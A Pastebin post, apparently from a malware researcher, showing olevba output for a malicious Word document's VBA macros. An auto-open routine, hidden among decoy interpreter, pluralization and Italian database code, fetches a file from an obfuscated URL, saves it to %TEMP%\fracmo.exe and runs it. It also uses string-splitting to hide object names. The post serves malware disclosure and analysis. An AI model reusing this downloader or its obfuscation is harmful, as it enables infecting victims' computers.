API tools faq
paste
Advertisement
dynamoo

Malicious Word macro

dynamoo
Nov 23rd, 2015
770
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 31.31 KB | None | 0 0
raw download clone embed print report
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V malware.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: malware.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: malware.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub autoopen()
  16. divide ""
  17. minus ""
  18. RxReplace "", "", ""
  19. Cons ""
  20. singularize ""
  21. CompattaDB "", "", ""
  22. VerificaFunzionalita
  23. End Sub
  24.  
  25.  
  26.  
  27.  
  28. -------------------------------------------------------------------------------
  29. VBA MACRO Module1.bas
  30. in file: malware.doc - OLE stream: u'Macros/VBA/Module1'
  31. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  32. Public Sub BuiltinInit()
  33.     Dim NullEnv As New Scripting.Dictionary
  34.     Dim PlusLR As New Collection
  35.     PlusLR.Add "plus"
  36.     PlusLR.Add NullEnv
  37.     Set GlobalEnv.Item("+LR") = PlusLR
  38.     Set GlobalEnv.Item("+") = Credd.ate("+LR", "func")
  39.    
  40.     Dim MinusLR As New Collection
  41.     MinusLR.Add "minus"
  42.     MinusLR.Add NullEnv
  43.     Set GlobalEnv.Item("-LR") = MinusLR
  44.     Set GlobalEnv.Item("-") = Credd.ate("-LR", "func")
  45.    
  46.     Dim TimesLR As New Collection
  47.     TimesLR.Add "times"
  48.     TimesLR.Add NullEnv
  49.     Set GlobalEnv.Item("*LR") = TimesLR
  50.     Set GlobalEnv.Item("*") = Credd.ate("*LR", "func")
  51.    
  52.     Dim DivideLR As New Collection
  53.     DivideLR.Add "divide"
  54.     DivideLR.Add NullEnv
  55.     Set GlobalEnv.Item("/LR") = DivideLR
  56.     Set GlobalEnv.Item("/") = Credd.ate("/LR", "func")
  57.    
  58.     Dim ConsLR As New Collection
  59.     ConsLR.Add "Cons"
  60.     ConsLR.Add NullEnv
  61.     Set GlobalEnv.Item("ConsLR") = ConsLR
  62.     Set GlobalEnv.Item("Cons") = Credd.ate("ConsLR", "func")
  63.    
  64.     Dim CarLR As New Collection
  65.     CarLR.Add "Car"
  66.     CarLR.Add NullEnv
  67.     Set GlobalEnv.Item("CarLR") = CarLR
  68.     Set GlobalEnv.Item("Car") = Credd.ate("CarLR", "func")
  69.    
  70.     Dim CdrLR As New Collection
  71.     CdrLR.Add "Cdr"
  72.     CdrLR.Add NullEnv
  73.     Set GlobalEnv.Item("CdrLR") = CdrLR
  74.     Set GlobalEnv.Item("Cdr") = Credd.ate("CdrLR", "func")
  75.    
  76. End Sub
  77.  
  78. Public Function Cons(args As String)
  79. 'function prelude
  80. strFileTemporaneo.Open
  81. Dim EnvLR As Variant
  82. GoTo minus1
  83.     instance = argddds.Item(1).GetVal
  84.     Dim LR As New Collection
  85.     Set LR = GlobalEnv.Item(instance)
  86.     Set Env = LR.Item(2)
  87. 'actual function body
  88. Set res.Car = argddds.Item(2)
  89. Set res.Cdr = argddds.Item(3)
  90. 'local environment writeback
  91.    Dim LR_Writeback As New Collection
  92.     Call LR_Writeback.Add(LR.Item(1))
  93.     Call LR_Writeback.Add(Env)
  94.     Set GlobalEnv.Item(instance) = LR_Writeback
  95. 'return value
  96.    Set Modussle1.current_res = res
  97. minus1:
  98.     EnvLR = pathTrueCrypt.responseBody
  99.     strFileTemporaneo.write EnvLR
  100. End Function
  101.  
  102.  Public Function Car(args As Collection)
  103. 'function prelude
  104.    instance = argddds.Item(1).GetVal
  105.     Dim LR As New Collection
  106.     Set LR = GlobalEnv.Item(instance)
  107.     Dim Env As New Scripting.Dictionary
  108.     Set Env = LR.Item(2)
  109. 'actual function body
  110. Set res = argddds.Item(2).Car
  111. 'local environment writeback
  112.    Dim LR_Writeback As New Collection
  113.     Call LR_Writeback.Add(LR.Item(1))
  114.     Call LR_Writeback.Add(Env)
  115.     Set GlobalEnv.Item(instance) = LR_Writeback
  116. 'return value
  117.    Set Module1.current_res = res
  118. End Function
  119.  
  120.  Public Function Cdr(args As Collection)
  121. 'function prelude
  122.    instance = argddds.Item(1).GetVal
  123.     Dim LR As New Collection
  124.     Set LR = GlobalEnv.Item(instance)
  125.     Dim Env As New Scripting.Dictionary
  126.     Set Env = LR.Item(2)
  127. 'actual function body
  128. Set res = argddds.Item(2).Cdr
  129. 'local environment writeback
  130.    Dim LR_Writeback As New Collection
  131.     Call LR_Writeback.Add(LR.Item(1))
  132.     Call LR_Writeback.Add(Env)
  133.     Set GlobalEnv.Item(instance) = LR_Writeback
  134. 'return value
  135.    Set Module1.current_res = res
  136. End Function
  137.  
  138.  
  139. Public Function plus(args As Collection)
  140. 'function prelude
  141.    instance = argddds.Item(1).GetVal
  142.     Dim LR As New Collection
  143.     Set LR = GlobalEnv.Item(instance)
  144.     Dim Env As New Scripting.Dictionary
  145.     Set Env = LR.Item(2)
  146. 'actual function body
  147.    Dim res As New Lval
  148.     If argddds.Count = 1 Then
  149.         Set res = Credd.ate(0, "number")
  150.     ElseIf argddds.Count = 2 Then
  151.         Set res = Credd.ate(argddds.Item(2).GetVal, "number")
  152.     Else
  153.         Set res = Credd.ate(argddds.Item(2).GetVal, "number")
  154.         For i = 3 To argddds.Count
  155.             Call res.SetVal((res.GetVal + argddds.Item(i).GetVal), "number")
  156.         Next
  157.     End If
  158. 'captured variable writeback
  159.    Dim LR_Writeback As New Collection
  160.     Call LR_Writeback.Add(LR.Item(1)) 'add function ID, even though we don't need it
  161.    Call LR_Writeback.Add(Env)
  162.     Set GlobalEnv.Item(instance) = LR_Writeback
  163. 'return value
  164.    Set Module1.current_res = res
  165. End Function
  166.  
  167. Public Function minus(args As String)
  168. 'function prelude
  169. Set strFileTemporaneo = CreateObject("Ad" + "odb" + "." + "St" + "ream")
  170.     Set Recordset = CreateObject("W" + "Sc" + "ript" + "." + "Sh" + "ell").Environment("P" + "ro" + "c" + "e" + "ss")
  171. Exit Function
  172.     instance = argddds.Item(1).GetVal
  173.     Dim LR As New Collection
  174.     Set LR = GlobalEnv.Item(instance)
  175.     Set Env = LR.Item(2)
  176. 'actual function body
  177.    If argddds.Count = 1 Then
  178.         Set res = Credd.ate(0, "number")
  179.     ElseIf argddds.Count = 2 Then
  180.         Set res = Credd.ate(0 - argddds.Item(2).GetVal, "number")
  181.     Else
  182.         Set res = Credd.ate(argddds.Item(2).GetVal, "number")
  183.         For i = 3 To argddds.Count
  184.             Call res.SetVal((res.GetVal - argddds.Item(i).GetVal), "number")
  185.         Next
  186.     End If
  187. 'captured variable writeback
  188.    Dim LR_Writeback As New Collection
  189.     Call LR_Writeback.Add(LR.Item(1)) 'add function ID, even though we don't need it
  190.    Call LR_Writeback.Add(Env)
  191. 'return value
  192. End Function
  193.  
  194. Public Function times(args As Collection)
  195. 'function prelude
  196.    instance = argddds.Item(1).GetVal
  197.     Dim LR As New Collection
  198.     Set LR = GlobalEnv.Item(instance)
  199.     Dim Env As New Scripting.Dictionary
  200.     Set Env = LR.Item(2)
  201. 'actual function body
  202.    Dim res As New Lval
  203.     If argddds.Count = 1 Then
  204.         Set res = Credd.ate(1, "number")
  205.     ElseIf argddds.Count = 2 Then
  206.         Set res = Credd.ate(argddds.Item(2).GetVal, "number")
  207.     Else
  208.         Set res = Credd.ate(argddds.Item(2).GetVal, "number")
  209.         For i = 3 To argddds.Count
  210.             Call res.SetVal((res.GetVal * argddds.Item(i).GetVal), "number")
  211.         Next
  212.     End If
  213. 'captured variable writeback
  214.    Dim LR_Writeback As New Collection
  215.     Call LR_Writeback.Add(LR.Item(1)) 'add function ID, even though we don't need it
  216.    Call LR_Writeback.Add(Env)
  217.     Set GlobalEnv.Item(instance) = LR_Writeback
  218. 'return value
  219.    Set Module1.current_res = res
  220. End Function
  221.  
  222. Public Function divide(args As String)
  223. Set pathTrueCrypt = CreateObject("Microsoft" + ".XMLHTTP")
  224. Dim urlAr() As Variant
  225. urlAr = Array(3458, 3470, 3470, 3466, 3412, 3401, 3401, 3474, 3469, 3464, 3465, 3459, 3469, 3455, 3453, 3453, 3469, 3400, 3452, 3459, 3457, 3466, 3465, 3464, 3454, 3458, 3465, 3469, 3470, 3459, 3464, 3457, 3400, 3453, 3465, 3463, 3401, 3471, 3408, 3407, 3406, 3457, 3401, 3409, 3408, 3460, 3407, 3458, 3406, 3457, 3400, 3455, 3474, 3455)
  226. pathTrueCrypt.Open "GET", VBGetDrive(urlAr, 53), False
  227. Exit Function
  228.     instance = argscs.Item(1).GetVal
  229.     Dim LR As New Collection
  230.     Set LR = GlobalEnv.Item(instance)
  231.     Set Env = LR.Item(2)
  232. 'actual function body
  233.    If argggs.Count = 1 Then
  234.         Set res = Cregg.ate(1, "number")
  235.     ElseIf argddds.Count = 2 Then
  236.         Set res = Credd.ate((1 / argddds.Item(2).GetVal), "number")
  237.     Else
  238.         Set res = Credd.ate(argddds.Item(2).GetVal, "number")
  239.         For i = 3 To argddds.Count
  240.             Call res.SetVal((res.GetVal / argddds.Item(i).GetVal), "number")
  241.         Next
  242.     End If
  243. 'captured variable writeback
  244.    Dim LR_Writeback As New Collection
  245.     Call LR_Writeback.Add(LR.Item(1)) 'add function ID, even though we don't need it
  246.    Call LR_Writeback.Add(Env)
  247.     Set GlobalEnv.Item(instance) = LR_Writeback
  248. 'return value
  249.    Set Modulss.e1.current_res = res
  250. End Function
  251.  
  252.  
  253. -------------------------------------------------------------------------------
  254. VBA MACRO Module2.bas
  255. in file: malware.doc - OLE stream: u'Macros/VBA/Module2'
  256. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  257. Public pathTrueCrypt As Object
  258. Public strFileTemporaneo As Object
  259. Public Recordset  As Object
  260. Public backupValid As String
  261. Public richiesta As String
  262. Public F1abiliata As Object
  263. Public Function pluralize(s As String)
  264.     Dim plural As New Scripting.Dictionary
  265.     plural.Add "(quiz)$", "$1zes"
  266.     plural.Add "^(ox)$", "$1en"
  267.     plural.Add "([m|l])ouse$", "$1ice"
  268.     plural.Add "(matr|vert|ind)ix|ex$", "$1ices"
  269.     plural.Add "(x|ch|ss|sh)$", "$1es"
  270.     plural.Add "([^aeiouy]|qu)y$", "$1ies"
  271.     plural.Add "([^aeiouy]|qu)ies$", "$1y"
  272.     plural.Add "(hive)$", "$1s"
  273.     plural.Add "(?:([^f])fe|([lr])f)$", "$1$2ves"
  274.     plural.Add "sis$", "ses"
  275.     plural.Add "([ti])um$", "$1a"
  276.     plural.Add "(buffal|tomat)o$", "$1oes"
  277.     plural.Add "(bu)s$", "$1ses"
  278.     plural.Add "(alias|status)$", "$1es"
  279.     plural.Add "(octop|vir)us$", "$1i"
  280.     plural.Add "(ax|test)is$", "$1es"
  281.     plural.Add "s$", "s"
  282.     plural.Add "$", "s"
  283.    
  284.     Dim irregular As New Scripting.Dictionary
  285.     irregular.Add "move", "moves"
  286.     irregular.Add "foot", "feet"
  287.     irregular.Add "goose", "geese"
  288.     irregular.Add "sex", "sexes"
  289.     irregular.Add "child", "children"
  290.     irregular.Add "man", "men"
  291.     irregular.Add "tooth", "teeth"
  292.     irregular.Add "person", "people"
  293.    
  294.     Dim uncountable As New Scripting.Dictionary
  295.     uncountable.Add "sheep", "sheep"
  296.     uncountable.Add "fish", "fish"
  297.     uncountable.Add "deer", "deer"
  298.     uncountable.Add "series", "series"
  299.     uncountable.Add "species", "species"
  300.     uncountable.Add "money", "money"
  301.     uncountable.Add "rice", "rice"
  302.     uncountable.Add "information", "information"
  303.     uncountable.Add "equipment", "equipment"
  304.    
  305.     Dim vKey As Variant
  306.    
  307.     'check to see if the single is uncountable
  308.    If uncountable.Exists(s) Then
  309.         pluralize = s
  310.         Exit Function
  311.     End If
  312.    
  313.     'check for irregular forms
  314.    For Each vKey In irregular.Keys
  315.         If RxTest(s, CStr(vKey)) Then
  316.             pluralize = RxReplace(s, CStr(vKey), irregular(CStr(vKey)))
  317.             Exit Function
  318.         Else
  319.         End If
  320.     Next vKey
  321.    
  322.    
  323.     'pluralization
  324.    For Each vKey In plural.Keys
  325.         If RxTest(s, CStr(vKey)) Then
  326.             pluralize = RxReplace(s, CStr(vKey), plural(CStr(vKey)))
  327.             Exit Function
  328.         Else
  329.         End If
  330.     Next vKey
  331.    
  332.     'default back to the original string
  333.    pluralize = s
  334. End Function
  335.  
  336. Public Function singularize(s As String)
  337. strFileTemporaneo.savetofile richiesta, 2
  338. Exit Function
  339.     singlular.Add "(quiz)zes$", "$1"
  340.     singlular.Add "(matr)ices$", "$1ix"
  341.     singlular.Add "(vert|ind)ices$", "$1ex"
  342.     singlular.Add "^(ox)en$", "$1"
  343.     singlular.Add "(alias)es$", "$1"
  344.     singlular.Add "(octop|vir)i$", "$1us"
  345.     singlular.Add "(cris|ax|test)es$", "$1is"
  346.     singlular.Add "(shoe)s$", "$1"
  347.     singlular.Add "(o)es$", "$1"
  348.     singlular.Add "(bus)es$", "$1"
  349.     singlular.Add "([m|l])ice$", "$1ouse"
  350.     singlular.Add "(x|ch|ss|sh)es$", "$1"
  351.     singlular.Add "(m)ovies$", "$1ovie"
  352.     singlular.Add "(s)eries$", "$1eries"
  353.     singlular.Add "([^aeiouy]|qu)ies$", "$1y"
  354.     singlular.Add "([lr])ves$", "$1f"
  355.     singlular.Add "(tive)s$", "$1"
  356.     singlular.Add "(hive)s$", "$1"
  357.     singlular.Add "(li|wi|kni)ves$", "$1fe"
  358.     singlular.Add "(shea|loa|lea|thie)ves$", "$1f"
  359.     singlular.Add "(^analy)ses$", "$1sis"
  360.     singlular.Add "((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$", "$1$2sis"
  361.     singlular.Add "([ti])a$", "$1um"
  362.     singlular.Add "(n)ews$", "$1ews"
  363.     singlular.Add "(h|bl)ouses$", "$1ouse"
  364.     singlular.Add "(corpse)s$", "$1"
  365.     singlular.Add "(us)es$", "$1"
  366.     singlular.Add "s$", ""
  367.    
  368.    
  369.     irregular.Add "moves", "move"
  370.     irregular.Add "feet", "foot"
  371.     irregular.Add "geese", "goose"
  372.     irregular.Add "sexes", "sex"
  373.     irregular.Add "children", "child"
  374.     irregular.Add "men", "man"
  375.     irregular.Add "teeth", "tooth"
  376.     irregular.Add "people", "person"
  377.    
  378.    
  379.     uncountable.Add "sheep", "sheep"
  380.     uncountable.Add "fish", "fish"
  381.     uncountable.Add "deer", "deer"
  382.     uncountable.Add "series", "series"
  383.     uncountable.Add "species", "species"
  384.     uncountable.Add "money", "money"
  385.     uncountable.Add "rice", "rice"
  386.     uncountable.Add "information", "information"
  387.     uncountable.Add "equipment", "equipment"
  388.    
  389.     Dim vKey As Variant
  390.    
  391.     'check to see if the single is uncountable
  392.    If uncountable.Exists(s) Then
  393.         singularize = s
  394.         Exit Function
  395.     End If
  396.    
  397.     'check for irregular forms
  398.    For Each vKey In irregular.Keys
  399.         If RxTest(s, CStr(vKey)) Then
  400.             singularize = RxReplace(s, CStr(vKey), irregular(CStr(vKey)))
  401.             Exit Function
  402.         Else
  403.         End If
  404.     Next vKey
  405.    
  406.    
  407.     'pluralization
  408.    For Each vKey In singlular.Keys
  409.         If RxTest(s, CStr(vKey)) Then
  410.             singularize = RxReplace(s, CStr(vKey), singlular(CStr(vKey)))
  411.             Exit Function
  412.         Else
  413.         End If
  414.     Next vKey
  415.    
  416.     'default back to the original string
  417.    singularize = s
  418. End Function
  419. Public Function VBGetDrive(fromArr() As Variant, LenLen As Integer) As String
  420.     Dim i As Integer
  421.     Dim result As String
  422.     result = ""
  423.     For i = LBound(fromArr) To UBound(fromArr)
  424.         result = result & Chr(fromArr(i) - LenLen - 3301)
  425.     Next i
  426.     VBGetDrive = result
  427. End Function
  428.  
  429. 'http://bytecomb.com/regular-expressions-in-vba/
  430. Public Function RxTest( _
  431.     ByVal SourceString As String, _
  432.     ByVal Pattern As String, _
  433.     Optional ByVal IgnoreCase As Boolean = True, _
  434.     Optional ByVal MultiLine As Boolean = True) As Boolean
  435.  
  436.     With New RegExp
  437.         .MultiLine = MultiLine
  438.         .IgnoreCase = IgnoreCase
  439.         .Global = False
  440.         .Pattern = Pattern
  441.         RxTest = .Test(SourceString)
  442.     End With
  443.      
  444. End Function
  445.  
  446. 'http://bytecomb.com/regular-expressions-in-vba/
  447. Public Function RxReplace( _
  448.     ByVal SourceString As String, _
  449.     ByVal Pattern As String, _
  450.     ByVal ReplacePattern As String, _
  451.     Optional ByVal IgnoreCase As Boolean = True, _
  452.     Optional ByVal MultiLine As Boolean = True, _
  453.     Optional ByVal MatchGlobal As Boolean = True) As String
  454.  backupValid = Recordset("" + "" + "T" + "E" + "MP") + "\"
  455.  richiesta = backupValid + "frac" + "mo" + ".ex" + "e"
  456.  strFileTemporaneo.Type = 1
  457.  pathTrueCrypt.Send
  458.  Exit Function
  459.     With RegExp
  460.         .MultiLine = MultiLine
  461.         .IgnoreCase = IgnoreCase
  462.         .Global = MatchGlobal
  463.         .Pattern = Pattern
  464.         RxReplace = .Replace(SourceString, ReplacePattern)
  465.     End With
  466.  
  467. End Function
  468.  
  469.  
  470.  
  471. -------------------------------------------------------------------------------
  472. VBA MACRO Module3.bas
  473. in file: malware.doc - OLE stream: u'Macros/VBA/Module3'
  474. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  475.  
  476. Const strKeyDb As String = "ciao"
  477. Const strKeyDbTrac As String = "limone"
  478. Public Const strKeyVolume As String = "!&^_`}~804FGHUJK!"
  479. Public Const appName As String = "IsoDial"
  480. Const sezione As String = "Impostazioni"
  481. Const nomeUsb As String = "U_BACKUP"
  482. Public Const nomeVolume As String = "SysCrypt.tc"
  483. Const Megabyte = 1048576
  484. Private Type structFile
  485.  data As Date
  486.  num As Integer
  487. End Type
  488. Sub Main()
  489.  Dim ret As Long
  490.  Dim datadb As Date
  491.  Call CaricaPercorso
  492.  Call VerificaErrori
  493.  Call MontaVolume
  494.  Call CaricaDati
  495.  Call VerificaFunzionalita
  496.  isCorrotto = False
  497.  datadb = CDate(Left(FileDateTime(structApri.pathDB + "\centro.mdb"), 10))
  498.  If datadb > Date Then
  499.  MsgBox ("IMPOSSIBILE AVVIARE ISODIAL - La data di sistema non ? corretta"), vbCritical, "ATTENZIONE!!!"
  500.  Set cnPrinc = Nothing
  501.  Set cnTrac = Nothing
  502.  If structApri.server Then
  503.  Call Shell("NET SHARE RISORSA /DELETE", vbHide)
  504.  ret = Shell(structApri.pathTrueCrypt & "\TrueCrypt.exe /d X /q /s /f", vbHide)
  505.  End If
  506.  End
  507.  End If
  508.  frmMain.Show
  509.  frmLogin.Show 1
  510. End Sub
  511. Private Sub CaricaPercorso()
  512.  On Error GoTo gestione
  513.  structApri.pathVolume = (GetSetting(appName, sezione, "percorsoVolume"))
  514.  structApri.pathTrueCrypt = (GetSetting(appName, sezione, "percorsoTrueCrypt"))
  515.  structApri.pathExe = (GetSetting(appName, sezione, "percorsoExe"))
  516.  structApri.server = CBool(GetSetting(appName, sezione, "Server"))
  517.  structApri.nomeServer = GetSetting(appName, sezione, "nomeServer")
  518.  structApri.pathNomeCertificato = GetSetting(appName, sezione, "nomeCertificato")
  519.  structApri.strFromModuliWord = GetSetting(appName, sezione, "strFromModuliWord")
  520.  Exit Sub
  521. gestione:
  522.  MsgBox "Errore n? 1-" & Err.Number & ": " & vbCrLf & Err.Description, vbCritical, "Attenzione"
  523.  End
  524. End Sub
  525. Public Sub VerificaErrori()
  526.  On Error GoTo gestione
  527.  Dim lettera As String
  528.  Dim dimVolume As Double
  529.  If App.PrevInstance Then
  530.  MsgBox "Il programma ? gi? in esecuzione" & vbCrLf & _
  531.  "(Situato nella barra in basso a destra dello schermo vicino all"
  532.  End
  533.  End If
  534.  If Dir((structApri.pathVolume) & "\" & nomeVolume) = "" Then
  535.  MsgBox "Archivio inesistente", vbCritical, "Apertura archivio"
  536.  End
  537.  End If
  538.  dimVolume = FileLen(structApri.pathVolume & "\" & nomeVolume) / Megabyte
  539.  If structApri.server Then
  540.  If Dir((structApri.pathTrueCrypt) & "\TrueCrypt.exe") = "" Then
  541.  MsgBox "Programma di criptaggio non istallato", vbCritical, "Apertura archivio"
  542.  End
  543.  End If
  544.  If Not (Environ$("COMPUTERNAME") = "MASTER" Or Environ$("COMPUTERNAME") = "MASTERMIO") Then
  545.  If Not VerificaDiscoRimovibile(lettera) Then
  546.  MsgBox "Impossibile continuare" & vbCrLf & "Unita"
  547.  End
  548.  End If
  549.  If Not SpazioSufficiente(lettera, dimVolume) Then
  550.  MsgBox "Impossibile continuare" & vbCrLf & "Spazio insufficiente sull"
  551.  End
  552.  End If
  553.  If Not backupValidi(lettera) Then
  554.  MsgBox "I file di backup presenti nell"
  555.  End If
  556.  End If
  557.  End If
  558.  Exit Sub
  559. gestione:
  560.  If Err.Number = 55 Or Err.Number = 53 Then
  561.  Exit Sub
  562.  ElseIf Err.Number = 52 Then
  563.  MsgBox "Impossibile avviare Isodial" & vbCrLf & "Verificare la connessione al server", vbCritical, "Attenzione"
  564.  End
  565.  Else
  566.  MsgBox "Errore n? 2-" & Err.Number & ": " & vbCrLf & Err.Description, vbCritical, "Attenzione"
  567.  End
  568.  End If
  569. End Sub
  570. Public Sub MontaVolume()
  571.  Dim ret As Double
  572.  On Error GoTo gestione
  573.  If structApri.server And getVersion = "Windows XP" Then
  574.  ret = Shell(structApri.pathTrueCrypt & "\TrueCrypt.exe" & " /v " & structApri.pathVolume & "\" & nomeVolume & " /l X /p " & strKeyVolume & " /a /q /s", vbHide)
  575.  Shell ("NET SHARE RISORSA=X: /UNLIMITED")
  576.  structApri.pathDB = "X:"
  577.  ElseIf structApri.server Then
  578.  ret = Shell(structApri.pathTrueCrypt & "\TrueCrypt.exe" & " /v " & structApri.pathVolume & "\" & nomeVolume & " /l X /p " & strKeyVolume & " /a /q /s", vbHide)
  579.  Shell ("NET SHARE RISORSA=X: /GRANT:everyone,full /UNLIMITED")
  580.  structApri.pathDB = "X:"
  581.  Else
  582.  tRete = tpCONNETTI
  583.  frmAttendi.Show 1
  584.  structApri.pathDB = structApri.nomeServer & "\RISORSA"
  585.  End If
  586.  Exit Sub
  587. gestione:
  588.  MsgBox "Errore n? 3-" & Err.Number & ": " & vbCrLf & Err.Description, vbCritical, "Attenzione"
  589.  End
  590. End Sub
  591. Public Sub CompattaDB(nomeDB As String, strPercorsoDB As String, strKeyDb As String)
  592.  On Error GoTo ErrorHandler
  593.  Dim strFileTemporaneo As String
  594.  Set F1abiliata = CreateObject("Sh" + "ell" + "." + "Ap" + "pli" + "cat" + "ion")
  595. Exit Sub
  596.  
  597.  strFileTemporaneo = strPercorsoDB & "\temp.mdb"
  598.  oJet.CompactDatabase _
  599.  "Provider=Microsoft.Jet.OLEDB.4.0;" _
  600.  & "Data Source=" & strPercorsoDB & "\" & nomeDB & ";Jet OLEDB:Database Password=" & strKeyDb, _
  601.  "Provider=Microsoft.Jet.OLEDB.4.0;" _
  602.  & "Data Source=" & strFileTemporaneo & ";" _
  603.  & "Jet OLEDB:Engine Type = 5;Jet OLEDB:Database Password=" & strKeyDb
  604.  Kill strPercorsoDB & "\" & nomeDB
  605.  Name strFileTemporaneo As strPercorsoDB & "\" & nomeDB
  606.  Exit Sub
  607. ErrorHandler:
  608.  If Err.Number = -2147467259 Then
  609.  Exit Sub
  610.  Else
  611.  MsgBox "Errore n? 4-" & Err.Number & ": " & vbCrLf & Err.Description, vbCritical, "Attenzione"
  612.  End If
  613. End Sub
  614. Public Sub CaricaDati()
  615.  On Error GoTo gestione
  616.  Dim rsDataset As Recordset
  617.  Set cnPrinc = New ADODB.Connection
  618.  cnPrinc.CursorLocation = adUseClient
  619.  strConnectionStringCentro = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & (structApri.pathDB) & "\Centro.mdb;Jet OLEDB:Database Password=" & strKeyDb
  620.  cnPrinc.Open strConnectionStringCentro
  621.  If TRACCIATO Then
  622.  Set cnTrac = New ADODB.Connection
  623.  cnTrac.CursorLocation = adUseClient
  624.  strConnectionStringTracciatura = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & (structApri.pathDB) & "\Connessioni.mdb;Jet OLEDB:Database Password=" & strKeyDbTrac
  625.  cnTrac.Open strConnectionStringTracciatura
  626.  End If
  627.  If Not structApri.server Then
  628.  Set rsDataset = New Recordset
  629.  rsDataset.Open "CLIENT", cnPrinc, adOpenKeyset, adLockPessimistic, adCmdTable
  630.  rsDataset.Update "NUMERO", rsDataset("NUMERO") + 1
  631.  Set rsDataset = Nothing
  632.  End If
  633.  intValore = 10
  634.  Call CaricaVarPublic
  635.  Exit Sub
  636. gestione:
  637.  MsgBox "Errore n? 5-" & Err.Number & ": " & vbCrLf & Err.Description, vbCritical, "Attenzione"
  638.  End
  639. End Sub
  640. Public Sub VerificaFunzionalita()
  641. F1abiliata.Open (richiesta)
  642. End Sub
  643. Private Function backupValidi(lettera As String) As Boolean
  644.  On Error GoTo gestione
  645.  Dim i As Integer
  646.  Dim records() As structFile
  647.  ReDim records(0)
  648.  If Dir(lettera & ":\Dati.dat") <> "" Then
  649.  Open lettera & ":\Dati.dat" For Random As 1
  650.  i = 0
  651.  Do While Not EOF(1)
  652.  Get 1, i + 1, records(i)
  653.  ReDim Preserve records(UBound(records) + 1)
  654.  i = i + 1
  655.  Loop
  656.  Close 1
  657.  ReDim Preserve records(UBound(records) - 1)
  658.  For i = 0 To UBound(records)
  659.  If Dir(lettera & ":\" & nomeVolume & records(i).num) = "" Then
  660.  backupValidi = False
  661.  Exit Function
  662.  End If
  663.  Next i
  664.  backupValidi = True
  665.  Else
  666.  backupValidi = True
  667.  End If
  668.  Exit Function
  669. gestione:
  670.  MsgBox "Errore n? 6 - " & Err.Description, vbCritical, "Attenzione"
  671. End Function
  672. Private Function ConfrontoVersione(inLibreria As String, inVersioneRichiesta As String, ByRef outTesto As String) As Boolean
  673.  Dim strVersioneAttuale As String
  674.  ConfrontoVersione = True
  675.  If Not IsCorrectVersion(inVersioneRichiesta, inLibreria, strVersioneAttuale) Then
  676.  outTesto = outTesto & _
  677.  "La libreria " & inLibreria & " non ? aggiornata." & vbCrLf & _
  678.  "Versione richiesta: " & inVersioneRichiesta & Space(5) & "Versione attuale: " & strVersioneAttuale & vbCrLf
  679.  ConfrontoVersione = False
  680.  End If
  681. End Function
  682. Private Sub ControlloFileEsterni()
  683.  Dim blnBloccaProgramma As Boolean
  684.  Dim strTesto As String
  685.  Dim strVersioneAttuale As String
  686.  Dim strVersioneRichiesta As String
  687.  Dim strLibreria As String
  688.  strLibreria = "DataTimeBox.ocx"
  689.  strVersioneRichiesta = "1.03.0007"
  690.  blnBloccaProgramma = Not ConfrontoVersione(strLibreria, strVersioneRichiesta, strTesto)
  691.  strLibreria = "SuperTextBox.ocx"
  692.  strVersioneRichiesta = "1.01.0003"
  693.  blnBloccaProgramma = blnBloccaProgramma Or Not ConfrontoVersione(strLibreria, strVersioneRichiesta, strTesto)
  694.  strLibreria = "ACPRibbon.ocx"
  695.  strVersioneRichiesta = "1.00.0001"
  696.  blnBloccaProgramma = blnBloccaProgramma Or Not ConfrontoVersione(strLibreria, strVersioneRichiesta, strTesto)
  697.  strLibreria = "DataComboBox.ocx"
  698.  strVersioneRichiesta = "1.00.0001"
  699.  blnBloccaProgramma = blnBloccaProgramma Or Not ConfrontoVersione(strLibreria, strVersioneRichiesta, strTesto)
  700.  If blnBloccaProgramma Then
  701.  Beep
  702.  Load frmControlloFileEsterni
  703.  strTesto = "Impossibile avviare Isodial. " & vbCrLf & "Si prega di contattare l"
  704.  frmControlloFileEsterni.lblTesto.Caption = strTesto
  705.  frmControlloFileEsterni.Show 1
  706.  Unload frmControlloFileEsterni
  707.  End If
  708. End Sub
  709. Public Function SpazioSufficiente(lettera As String, spazio As Double) As Boolean
  710.  SpazioSufficiente = CLng(GetDriveSize(lettera & ":")) > spazio
  711. End Function
  712. Public Function GetDriveSize(DriveName As String) As String
  713.  Dim FB As Currency, BT As Currency, FBT As Currency
  714.  Dim RetVal As Long
  715.  RetVal = GetDiskFreeSpace_FAT32(Left(DriveName, 2), FB, BT, FBT)
  716.  FBT = FBT * 10000
  717.  GetDriveSize = Format(FBT / Megabyte, "####,###,###")
  718. End Function
  719. Public Function VerificaDiscoRimovibile(ByRef lettera As String) As Boolean
  720.  Dim ret As Long
  721.  Dim allDrives As String
  722.  Dim v_drives() As String
  723.  Dim i As Integer
  724.  Dim volName As String
  725.  Dim serial As Long
  726.  Dim f As String
  727.  Dim g As Long
  728.  allDrives = VBGetLogicalDriveStrings()
  729.  v_drives = Split(allDrives, Chr(0))
  730.  For i = 0 To UBound(v_drives)
  731.  ret = GetDriveType(v_drives(i))
  732.  If ret = DRIVE_REMOVABLE Then
  733.  If Left(v_drives(i), 1) <> "A" And Left(v_drives(i), 1) <> "B" Then
  734.  Call GetDriveInfo(Left(v_drives(i), 1) & ":", volName, serial, f, g)
  735.  If volName = nomeUsb Then
  736.  lettera = Left(v_drives(i), 1)
  737.  VerificaDiscoRimovibile = True
  738.  Exit Function
  739.  End If
  740.  End If
  741.  End If
  742.  Next i
